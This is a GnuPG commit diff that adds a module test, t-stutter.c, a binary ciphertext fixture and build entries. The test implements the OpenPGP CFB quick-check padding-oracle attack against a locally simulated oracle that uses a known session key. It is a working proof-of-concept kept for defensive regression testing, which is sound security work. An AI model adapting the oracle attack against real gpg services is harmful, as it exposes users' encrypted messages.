Page MenuHome GnuPG

No OneTemporary

This document is not UTF8. It was detected as ISO-8859-1 (Latin 1) and converted to UTF8 for display.
diff --git a/g10/Makefile.am b/g10/Makefile.am
index 27333def8..473a3ac99 100644
--- a/g10/Makefile.am
+++ b/g10/Makefile.am
@@ -1,203 +1,207 @@
# Copyright (C) 1998, 1999, 2000, 2001, 2002,
# 2003, 2006, 2010 Free Software Foundation, Inc.
#
# This file is part of GnuPG.
#
# GnuPG is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
# GnuPG is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, see <http://www.gnu.org/licenses/>.
## Process this file with automake to produce Makefile.in
EXTRA_DIST = options.skel dirmngr-conf.skel distsigkey.gpg \
ChangeLog-2011 gpg-w32info.rc \
gpg.w32-manifest.in test.c t-keydb-keyring.kbx \
- t-keydb-get-keyblock.gpg
+ t-keydb-get-keyblock.gpg t-stutter-data.asc
AM_CPPFLAGS = -I$(top_srcdir)/common
include $(top_srcdir)/am/cmacros.am
AM_CFLAGS = $(SQLITE3_CFLAGS) $(LIBGCRYPT_CFLAGS) \
$(LIBASSUAN_CFLAGS) $(GPG_ERROR_CFLAGS)
needed_libs = ../kbx/libkeybox.a $(libcommon)
bin_PROGRAMS = gpg2
if !HAVE_W32CE_SYSTEM
bin_PROGRAMS += gpgv2
endif
noinst_PROGRAMS = gpgcompose $(module_tests)
TESTS = $(module_tests)
if ENABLE_BZIP2_SUPPORT
bzip2_source = compress-bz2.c
else
bzip2_source =
endif
if ENABLE_CARD_SUPPORT
card_source = card-util.c
else
card_source =
endif
if NO_TRUST_MODELS
trust_source =
else
trust_source = trustdb.c trustdb.h tdbdump.c tdbio.c tdbio.h
endif
if USE_TOFU
tofu_source = tofu.h tofu.c sqlite.c sqlite.h
else
tofu_source =
endif
if HAVE_W32_SYSTEM
resource_objs += gpg-w32info.o
gpg-w32info.o : gpg.w32-manifest
endif
common_source = \
gpg.h \
dek.h \
build-packet.c \
compress.c \
$(bzip2_source) \
filter.h \
free-packet.c \
getkey.c \
keydb.c keydb.h \
keyring.c keyring.h \
seskey.c \
kbnode.c \
main.h \
mainproc.c \
armor.c \
mdfilter.c \
textfilter.c \
progress.c \
misc.c \
rmd160.c rmd160.h \
options.h \
openfile.c \
keyid.c \
packet.h \
parse-packet.c \
cpr.c \
plaintext.c \
sig-check.c \
keylist.c \
pkglue.c pkglue.h \
ecdh.c
gpg_sources = server.c \
$(common_source) \
pkclist.c \
skclist.c \
pubkey-enc.c \
passphrase.c \
decrypt.c \
decrypt-data.c \
cipher.c \
encrypt.c \
sign.c \
verify.c \
revoke.c \
dearmor.c \
import.c \
export.c \
migrate.c \
delkey.c \
keygen.c \
helptext.c \
keyserver.c \
keyserver-internal.h \
call-dirmngr.c call-dirmngr.h \
photoid.c photoid.h \
call-agent.c call-agent.h \
trust.c $(trust_source) $(tofu_source) \
$(card_source) \
exec.c exec.h
gpg2_SOURCES = gpg.c \
keyedit.c \
$(gpg_sources)
gpgcompose_SOURCES = gpgcompose.c $(gpg_sources)
gpgv2_SOURCES = gpgv.c \
$(common_source) \
verify.c
#gpgd_SOURCES = gpgd.c \
# ks-proto.h \
# ks-proto.c \
# ks-db.c \
# ks-db.h \
# $(common_source)
LDADD = $(needed_libs) ../common/libgpgrl.a \
$(ZLIBS) $(LIBINTL) $(CAPLIBS) $(NETLIBS)
gpg2_LDADD = $(LDADD) $(SQLITE3_LIBS) $(LIBGCRYPT_LIBS) $(LIBREADLINE) \
$(LIBASSUAN_LIBS) $(GPG_ERROR_LIBS) \
$(LIBICONV) $(resource_objs) $(extra_sys_libs)
gpg2_LDFLAGS = $(extra_bin_ldflags)
gpgv2_LDADD = $(LDADD) $(LIBGCRYPT_LIBS) \
$(GPG_ERROR_LIBS) \
$(LIBICONV) $(resource_objs) $(extra_sys_libs)
gpgv2_LDFLAGS = $(extra_bin_ldflags)
gpgcompose_LDADD = $(LDADD) $(SQLITE3_LIBS) $(LIBGCRYPT_LIBS) $(LIBREADLINE) \
$(LIBASSUAN_LIBS) $(GPG_ERROR_LIBS) \
$(LIBICONV) $(resource_objs) $(extra_sys_libs)
gpgcompose_LDFLAGS = $(extra_bin_ldflags)
t_common_ldadd =
-module_tests = t-rmd160 t-keydb t-keydb-get-keyblock
+module_tests = t-rmd160 t-keydb t-keydb-get-keyblock t-stutter
t_rmd160_SOURCES = t-rmd160.c rmd160.c
t_rmd160_LDADD = $(t_common_ldadd)
t_keydb_SOURCES = t-keydb.c test-stubs.c $(common_source)
t_keydb_LDADD = $(LDADD) $(LIBGCRYPT_LIBS) $(GPG_ERROR_LIBS) \
$(LIBICONV) $(t_common_ldadd)
t_keydb_get_keyblock_SOURCES = t-keydb-get-keyblock.c test-stubs.c \
$(common_source)
t_keydb_get_keyblock_LDADD = $(LDADD) $(LIBGCRYPT_LIBS) $(GPG_ERROR_LIBS) \
$(LIBICONV) $(t_common_ldadd)
+t_stutter_SOURCES = t-stutter.c test-stubs.c \
+ $(common_source)
+t_stutter_LDADD = $(LDADD) $(LIBGCRYPT_LIBS) $(GPG_ERROR_LIBS) \
+ $(LIBICONV) $(t_common_ldadd)
$(PROGRAMS): $(needed_libs) ../common/libgpgrl.a
install-data-local:
$(mkinstalldirs) $(DESTDIR)$(pkgdatadir)
$(INSTALL_DATA) $(srcdir)/options.skel \
$(DESTDIR)$(pkgdatadir)/gpg-conf.skel
$(INSTALL_DATA) $(srcdir)/dirmngr-conf.skel \
$(DESTDIR)$(pkgdatadir)/dirmngr-conf.skel
$(INSTALL_DATA) $(srcdir)/distsigkey.gpg \
$(DESTDIR)$(pkgdatadir)/distsigkey.gpg
uninstall-local:
-@rm $(DESTDIR)$(pkgdatadir)/gpg-conf.skel
-@rm $(DESTDIR)$(pkgdatadir)/dirmngr-conf.skel
-@rm $(DESTDIR)$(pkgdatadir)/distsigkey.gpg
# There has never been a gpg for WindowsCE, thus we don't need a gpg2 here
if HAVE_W32CE_SYSTEM
install-exec-hook:
mv -f $(DESTDIR)$(bindir)/gpg2$(EXEEXT) \
$(DESTDIR)$(bindir)/gpg$(EXEEXT)
endif
diff --git a/g10/t-stutter-data.asc b/g10/t-stutter-data.asc
new file mode 100644
index 000000000..ad8bfaed7
--- /dev/null
+++ b/g10/t-stutter-data.asc
@@ -0,0 +1 @@
+É?Òéq`Hêhâ© ŠÅÒV½çxDI2‡3ø”Oœ¢*Gû¨—y¾Iaª«lš{’eîwò{B»c1‡Bµ³
\ No newline at end of file
diff --git a/g10/t-stutter.c b/g10/t-stutter.c
new file mode 100644
index 000000000..8bdfb07ea
--- /dev/null
+++ b/g10/t-stutter.c
@@ -0,0 +1,609 @@
+/* t-stutter.c - Test the stutter exploit.
+ * Copyright (C) 2016 g10 Code GmbH
+ *
+ * This file is part of GnuPG.
+ *
+ * GnuPG is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * GnuPG is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
+ */
+
+/* This test is based on the paper: "An Attack on CFB Mode Encryption
+ * as Used by OpenPGP." This attack uses a padding oracle to decrypt
+ * the first two bytes of each block (which are normally 16 bytes
+ * large). Concretely, if an attacker can use this attack if it can
+ * sense whether the quick integrity check failed. See RFC 4880,
+ * Section 5.7 for an explanation of this quick check.
+ *
+ * The concrete attack, as described in the paper, only works for
+ * PKT_ENCRYPTED packets; it does not work for PKT_ENCRYPTED_MDC
+ * packets, which use a slightly different CFB mode (they don't
+ * include a sync after the IV). But, small modifications should
+ * allow the attack to work for PKT_ENCRYPTED_MDC packets.
+ *
+ * The cost of this attack is 2^15 + i * 2^15 oracle queries, where i
+ * is the number of blocks the attack wants to decrypt. This attack
+ * is completely unfeasible when gpg is used interactively, but it
+ * could work when used as a service.
+ *
+ * How to generate a test message:
+ *
+ * $ echo 0123456789abcdefghijklmnopqrstuvwxyz | gpg2 --disable-mdc -z 0 -c > msg.asc
+ * $ gpg2 --list-packets msg.asc
+ * # Make sure the encryption packet contains a literal packet (without
+ * # any nesting).
+ * $ gpgsplit msg.asc
+ * $ gpg2 --show-session-key -d msg.asc
+ * $ ./t-stutter --debug SESSION_KEY 000002-009.encrypted
+ */
+
+#include <config.h>
+#include <errno.h>
+#include <ctype.h>
+
+#include "gpg.h"
+#include "main.h"
+#include "../common/types.h"
+#include "util.h"
+#include "dek.h"
+#include "../common/logging.h"
+
+static void
+log_hexdump (byte *buffer, int length)
+{
+ int written = 0;
+
+ fprintf (stderr, "%d bytes:\n", length);
+ while (length > 0)
+ {
+ int have = length > 16 ? 16 : length;
+ int i;
+ char formatted[2 * have + 1];
+ char text[have + 1];
+
+ fprintf (stderr, "%-8d ", written);
+ bin2hex (buffer, have, formatted);
+ for (i = 0; i < 16; i ++)
+ {
+ if (i % 2 == 0)
+ fputc (' ', stderr);
+ if (i % 8 == 0)
+ fputc (' ', stderr);
+
+ if (i < have)
+ fwrite (&formatted[2 * i], 2, 1, stderr);
+ else
+ fwrite (" ", 2, 1, stderr);
+ }
+
+ for (i = 0; i < have; i ++)
+ if (isprint (buffer[i]))
+ text[i] = buffer[i];
+ else
+ text[i] = '.';
+ text[i] = 0;
+
+ fprintf (stderr, " ");
+ if (strlen (text) > 8)
+ {
+ fwrite (text, 8, 1, stderr);
+ fputc (' ', stderr);
+ fwrite (&text[8], strlen (text) - 8, 1, stderr);
+ }
+ else
+ fwrite (text, strlen (text), 1, stderr);
+ fputc ('\n', stderr);
+
+ buffer += have;
+ length -= have;
+ written += have;
+ }
+
+ return;
+}
+
+static char *
+hexstr (const byte *bytes)
+{
+ static int i;
+ static char bufs[100][7];
+
+ i ++;
+ if (i == 100)
+ i = 0;
+
+ sprintf (bufs[i], "0x%02X%02X", bytes[0], bytes[1]);
+ return bufs[i];
+}
+
+/* xor the two bytes starting at A with the two bytes starting at B
+ and return the result. */
+static byte *
+bufxor2 (const byte *a, const byte *b)
+{
+ static int i;
+ static char bufs[100][2];
+
+ i ++;
+ if (i == 100)
+ i = 0;
+
+ bufs[i][0] = a[0] ^ b[0];
+ bufs[i][1] = a[1] ^ b[1];
+ return bufs[i];
+}
+
+/* The session key stays constant. */
+static DEK dek;
+int blocksize;
+
+/* Decode the session key, which is in the format output by gpg
+ --show-session-key. */
+static void
+parse_session_key (char *session_key)
+{
+ char *tail;
+ char *p = session_key;
+
+ errno = 0;
+ dek.algo = strtol (p, &tail, 10);
+ if (errno || (tail && *tail != ':'))
+ log_fatal ("Invalid session key specification. "
+ "Expected: cipher-id:HEXADECIMAL-CHRACTERS\n");
+
+ /* Skip the ':'. */
+ p = tail + 1;
+
+ if (strlen (p) % 2 != 0)
+ log_fatal ("Session key must consist of an even number of hexadecimal characters.\n");
+
+ dek.keylen = strlen (p) / 2;
+ log_assert (dek.keylen <= sizeof (dek.key));
+
+ if (hex2bin (p, dek.key, dek.keylen) == -1)
+ log_fatal ("Session key must only contain hexadecimal characters\n");
+
+ blocksize = openpgp_cipher_get_algo_blklen (dek.algo);
+ if ( !blocksize || blocksize > 16 )
+ log_fatal ("unsupported blocksize %u\n", blocksize );
+
+ return;
+}
+
+/* The ciphertext, the plaintext as decrypted by the good session key,
+ and the cfb stream (derived from the ciphertext and the
+ plaintext). */
+static int msg_len;
+static byte *msg;
+static byte *msg_plaintext;
+static byte *msg_cfb;
+
+/* Whether we need to resynchronize the CFB after writing the random
+ data (this is the case for encrypted packets, but not encrypted and
+ integrity protected packets). */
+static int sync;
+
+static int
+block_offset (int i)
+{
+ int extra = 0;
+
+ log_assert (i >= 1);
+ /* Make sure blocksize has been initialized. */
+ log_assert (blocksize);
+
+ if (i > 2)
+ {
+ i -= 2;
+ extra = blocksize + 2;
+ }
+ return (i - 1) * blocksize + extra;
+}
+
+/* Return the ith block from TEXT. The first block is labeled 1.
+ Note: consistent with the OpenPGP message format, the second block
+ (i=2) is just 2 bytes. */
+static byte *
+block (byte *text, int len, int i)
+{
+ int offset = block_offset (i);
+
+ log_assert (offset < len);
+ return &text[offset];
+}
+
+/* Return true if the quick integrity check passes. Also, if
+ PLAINTEXTP is not NULL, return the decrypted plaintext in
+ *PLAINTEXTP. If CFBP is not NULL, return the CFB byte stream in
+ *CFBP. */
+static int
+oracle (int debug, byte *ciphertext, int len, byte **plaintextp, byte **cfbp)
+{
+ int rc = 0;
+ unsigned nprefix;
+ gcry_cipher_hd_t cipher_hd = NULL;
+ byte *plaintext = NULL;
+ byte *cfb = NULL;
+
+ /* Make sure DEK was initialized. */
+ log_assert (dek.algo);
+ log_assert (dek.keylen);
+ log_assert (blocksize);
+
+ nprefix = blocksize;
+ if (len < nprefix + 2)
+ {
+ /* An invalid message. We can't check that during parsing
+ because we may not know the used cipher then. */
+ rc = gpg_error (GPG_ERR_INV_PACKET);
+ goto leave;
+ }
+
+ rc = openpgp_cipher_open (&cipher_hd, dek.algo,
+ GCRY_CIPHER_MODE_CFB,
+ (! sync /* ed->mdc_method || dek.algo >= 100 */ ?
+ 0 : GCRY_CIPHER_ENABLE_SYNC));
+ if (rc)
+ log_fatal ("Failed to open cipher: %s\n", gpg_strerror (rc));
+
+ rc = gcry_cipher_setkey (cipher_hd, dek.key, dek.keylen);
+ if (gpg_err_code (rc) == GPG_ERR_WEAK_KEY)
+ {
+ log_info ("WARNING: message was encrypted with"
+ " a weak key in the symmetric cipher.\n");
+ rc=0;
+ }
+ else if( rc )
+ log_fatal ("key setup failed: %s\n", gpg_strerror (rc));
+
+ gcry_cipher_setiv (cipher_hd, NULL, 0);
+
+ if (debug)
+ {
+ log_debug ("Encrypted data:\n");
+ log_hexdump(ciphertext, len);
+ }
+ plaintext = xmalloc_clear (len);
+ gcry_cipher_decrypt (cipher_hd, plaintext, blocksize + 2,
+ ciphertext, blocksize + 2);
+ gcry_cipher_sync (cipher_hd);
+ if (len > blocksize+2)
+ gcry_cipher_decrypt (cipher_hd,
+ &plaintext[blocksize+2], len-(blocksize+2),
+ &ciphertext[blocksize+2], len-(blocksize+2));
+
+ if (debug)
+ {
+ log_debug ("Decrypted data:\n");
+ log_hexdump (plaintext, len);
+ log_debug ("R_{b-1,b} = %s\n", hexstr (&plaintext[blocksize - 2]));
+ log_debug ("R_{b+1,b+2} = %s\n", hexstr (&plaintext[blocksize]));
+ }
+
+ if (cfbp || debug)
+ {
+ int i;
+ cfb = xmalloc (len);
+ for (i = 0; i < len; i ++)
+ cfb[i] = plaintext[i] ^ ciphertext[i];
+
+ log_assert (len >= blocksize + 2);
+
+ if (debug)
+ {
+ log_debug ("cfb:\n");
+ log_hexdump (cfb, len);
+
+ log_debug ("E_k([C_1]_{1,2}) = C_2 xor R (%s xor %s) = %s\n",
+ hexstr (&ciphertext[blocksize]),
+ hexstr (&plaintext[blocksize]),
+ hexstr (bufxor2 (&ciphertext[blocksize],
+ &plaintext[blocksize])));
+ if (len >= blocksize + 4)
+ log_debug ("D = Ek([C1]_{3-b} || C_2)_{1-2} (%s) xor C2 (%s) xor E_k(0)_{b-1,b} (%s) = %s\n",
+ hexstr (&cfb[blocksize + 2]),
+ hexstr (&ciphertext[blocksize]),
+ hexstr (&cfb[blocksize - 2]),
+ hexstr (bufxor2 (bufxor2 (&cfb[blocksize + 2],
+ &ciphertext[blocksize]),
+ &cfb[blocksize - 2])));
+ }
+ }
+
+ if (plaintext[nprefix-2] != plaintext[nprefix]
+ || plaintext[nprefix-1] != plaintext[nprefix+1])
+ {
+ rc = gpg_error (GPG_ERR_BAD_KEY);
+ goto leave;
+ }
+
+ leave:
+ if (! rc && plaintextp)
+ *plaintextp = plaintext;
+ else
+ xfree (plaintext);
+
+ if (! rc && cfbp)
+ *cfbp = cfb;
+ else
+ xfree (cfb);
+
+ if (cipher_hd)
+ gcry_cipher_close (cipher_hd);
+ return rc;
+}
+
+/* Query the oracle with D=D for block B. */
+static int
+oracle_test (unsigned int d, int b, int debug)
+{
+ byte probe[blocksize + 2];
+
+ log_assert (d < 256 * 256);
+
+ if (b == 1)
+ memcpy (probe, &msg[2], blocksize);
+ else
+ memcpy (probe, block (msg, msg_len, b), blocksize);
+
+ probe[blocksize] = d >> 8;
+ probe[blocksize + 1] = d & 0xff;
+
+ if (debug)
+ log_debug ("oracle (0x%04X):\n", d);
+
+ return oracle (debug, probe, blocksize + 2, NULL, NULL) == 0;
+}
+
+int
+main (int argc, char *argv[])
+{
+ int i;
+ int debug = 0;
+ char *filename = NULL;
+ int help = 0;
+
+ byte *raw_data;
+ int raw_data_len;
+
+ int failed = 0;
+
+ for (i = 1; i < argc; i ++)
+ {
+ if (strcmp (argv[i], "--debug") == 0)
+ debug = 1;
+ else if (! blocksize)
+ parse_session_key (argv[i]);
+ else if (! filename)
+ filename = argv[i];
+ else
+ {
+ help = 1;
+ break;
+ }
+ }
+
+ if (! blocksize && ! filename && (filename = getenv ("srcdir")))
+ /* Try defaults. */
+ {
+ parse_session_key ("9:9274A8EC128E850C6DDDF9EAC68BFA84FC7BC05F340DA41D78C93D0640C7C503");
+ filename = xasprintf ("%s/t-stutter-data.asc", filename);
+ }
+
+ if (help || ! blocksize || ! filename)
+ log_fatal ("Usage: %s [--debug] SESSION_KEY ENCRYPTED_PKT\n", argv[0]);
+
+ /* Don't read more than a KB. */
+ raw_data_len = 1024;
+ raw_data = xmalloc (raw_data_len);
+
+ {
+ FILE *fp;
+ int r;
+
+ fp = fopen (filename, "r");
+ if (! fp)
+ log_fatal ("Opening %s: %s\n", filename, strerror (errno));
+ r = fread (raw_data, 1, raw_data_len, fp);
+ fclose (fp);
+
+ /* We need at least the random data, the encrypted and literal
+ packets' headers and some body. */
+ if (r < (blocksize + 2 /* Random data. */
+ + 2 * blocksize /* Header + some plaintext. */))
+ log_fatal ("Not enough data (need at least %d bytes of plain text): %s.\n",
+ blocksize + 2, strerror (errno));
+ raw_data_len = r;
+
+ if (debug)
+ {
+ log_debug ("First few bytes of the raw data:\n");
+ log_hexdump (raw_data, raw_data_len > 8 ? 8 : raw_data_len);
+ }
+ }
+
+ /* Parse the packet's header. */
+ {
+ int ctb = raw_data[0];
+ int new_format = ctb & (1 << 7);
+ int pkttype = (ctb & ((1 << 5) - 1)) >> (new_format ? 0 : 2);
+ int hdrlen;
+
+ if (new_format)
+ {
+ if (debug)
+ log_debug ("len encoded: 0x%x (%d)\n", raw_data[1], raw_data[1]);
+ if (raw_data[1] < 192)
+ hdrlen = 2;
+ else if (raw_data[1] < 224)
+ hdrlen = 3;
+ else if (raw_data[1] == 255)
+ hdrlen = 5;
+ else
+ hdrlen = 2;
+ }
+ else
+ {
+ int lentype = ctb & 0x3;
+ if (lentype == 0)
+ hdrlen = 2;
+ else if (lentype == 1)
+ hdrlen = 3;
+ else if (lentype == 2)
+ hdrlen = 5;
+ else
+ /* Indeterminate. */
+ hdrlen = 1;
+ }
+
+ if (debug)
+ log_debug ("ctb = %x; %s format, hdrlen: %d, packet: %s\n",
+ ctb, new_format ? "new" : "old",
+ hdrlen,
+ pkttype_str (pkttype));
+
+ if (! (pkttype == PKT_ENCRYPTED || pkttype == PKT_ENCRYPTED_MDC))
+ log_fatal ("%s does not contain an encrypted packet, but a %s.\n",
+ filename, pkttype_str (pkttype));
+
+ if (pkttype == PKT_ENCRYPTED_MDC)
+ {
+ /* The first byte following the header is the version, which
+ is 1. */
+ log_assert (raw_data[hdrlen] == 1);
+ hdrlen ++;
+ sync = 0;
+ }
+ else
+ sync = 1;
+
+ msg = &raw_data[hdrlen];
+ msg_len = raw_data_len - hdrlen;
+ }
+
+ log_assert (msg_len >= blocksize + 2);
+
+ {
+ /* This can at least partially be guessed. So we just assume that
+ it is known. */
+ int d;
+ int found;
+ const byte *m1;
+ byte e_k_zero[2];
+
+ if (oracle (debug, msg, msg_len, &msg_plaintext, &msg_cfb) == 0)
+ {
+ if (debug)
+ log_debug ("Session key appears to be good.\n");
+ }
+ else
+ log_fatal ("Session key is bad!\n");
+
+ m1 = &msg_plaintext[blocksize + 2];
+ if (debug)
+ log_debug ("First two bytes of plaintext are: %02X (%c) %02X (%c)\n",
+ m1[0], isprint (m1[0]) ? m1[0] : '?',
+ m1[1], isprint (m1[1]) ? m1[1] : '?');
+
+ for (d = 0; d < 256 * 256; d ++)
+ if ((found = oracle_test (d, 1, 0)))
+ break;
+
+ if (! found)
+ log_fatal ("Failed to find d!\n");
+
+ if (debug)
+ oracle_test (d, 1, 1);
+
+ if (debug)
+ log_debug ("D = %d (%x) looks good.\n", d, d);
+
+ {
+ byte *c2 = block (msg, msg_len, 2);
+ byte D[2] = { d >> 8, d & 0xFF };
+ byte *c3 = block (msg, msg_len, 3);
+
+ memcpy (e_k_zero,
+ bufxor2 (bufxor2 (c2, D),
+ bufxor2 (c3, m1)),
+ sizeof (e_k_zero));
+
+ if (debug)
+ {
+ log_debug ("C2 = %s\n", hexstr (c2));
+ log_debug ("D = %s\n", hexstr (D));
+ log_debug ("C3 = %s\n", hexstr (c3));
+ log_debug ("M = %s\n", hexstr (m1));
+ log_debug ("E_k([C1]_{3-b} || C_2) = C3 xor M1 = %s\n",
+ hexstr (bufxor2 (c3, m1)));
+ log_debug ("E_k(0)_{b-1,b} = %s\n", hexstr (e_k_zero));
+ }
+ }
+
+ /* Figure out the first 2 bytes of M2... (offset 16 & 17 of the
+ plain text assuming the blocksize == 16 or bytes 34 & 35 of the
+ decrypted cipher text, i.e., C4). */
+ for (i = 1; block_offset (i + 3) + 2 <= msg_len; i ++)
+ {
+ byte e_k_prime[2];
+ byte m[2];
+ byte *ct = block (msg, msg_len, i + 2);
+ byte *pt = block (msg_plaintext, msg_len, 2 + i + 1);
+
+ for (d = 0; d < 256 * 256; d ++)
+ if (oracle_test (d, i + 2, 0))
+ {
+ found = 1;
+ break;
+ }
+
+ if (! found)
+ log_fatal ("Failed to find a valid d for block %d\n", i);
+
+ if (debug)
+ log_debug ("Block %d: oracle: D = %04X passes integrity check\n",
+ i, d);
+
+ {
+ byte D[2] = { d >> 8, d & 0xFF };
+ memcpy (e_k_prime,
+ bufxor2 (bufxor2 (&ct[blocksize - 2], D), e_k_zero),
+ sizeof (e_k_prime));
+
+ memcpy (m, bufxor2 (e_k_prime, block (msg, msg_len, i + 3)),
+ sizeof (m));
+ }
+
+ if (debug)
+ log_debug ("=> block %d starting at %zd starts with: "
+ "%s (%c%c)\n",
+ i, (size_t) pt - (size_t) msg_plaintext,
+ hexstr (m),
+ isprint (m[0]) ? m[0] : '?', isprint (m[1]) ? m[1] : '?');
+
+ if (m[0] != pt[0] || m[1] != pt[1])
+ {
+ log_debug ("oracle attack failed! Expected %s (%c%c), got %s\n",
+ hexstr (pt),
+ isprint (pt[0]) ? pt[0] : '?',
+ isprint (pt[1]) ? pt[1] : '?',
+ hexstr (m));
+ failed = 1;
+ }
+ }
+
+ if (i == 1)
+ log_fatal ("Message is too short, nothing to test.\n");
+ }
+
+ return failed;
+}

File Metadata

Mime Type
application/octet-stream
Expires
Wed, Nov 20, 4:50 AM (1 d, 22 h)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
a5/10/573956ec2413c8acf82600d15cd7

Event Timeline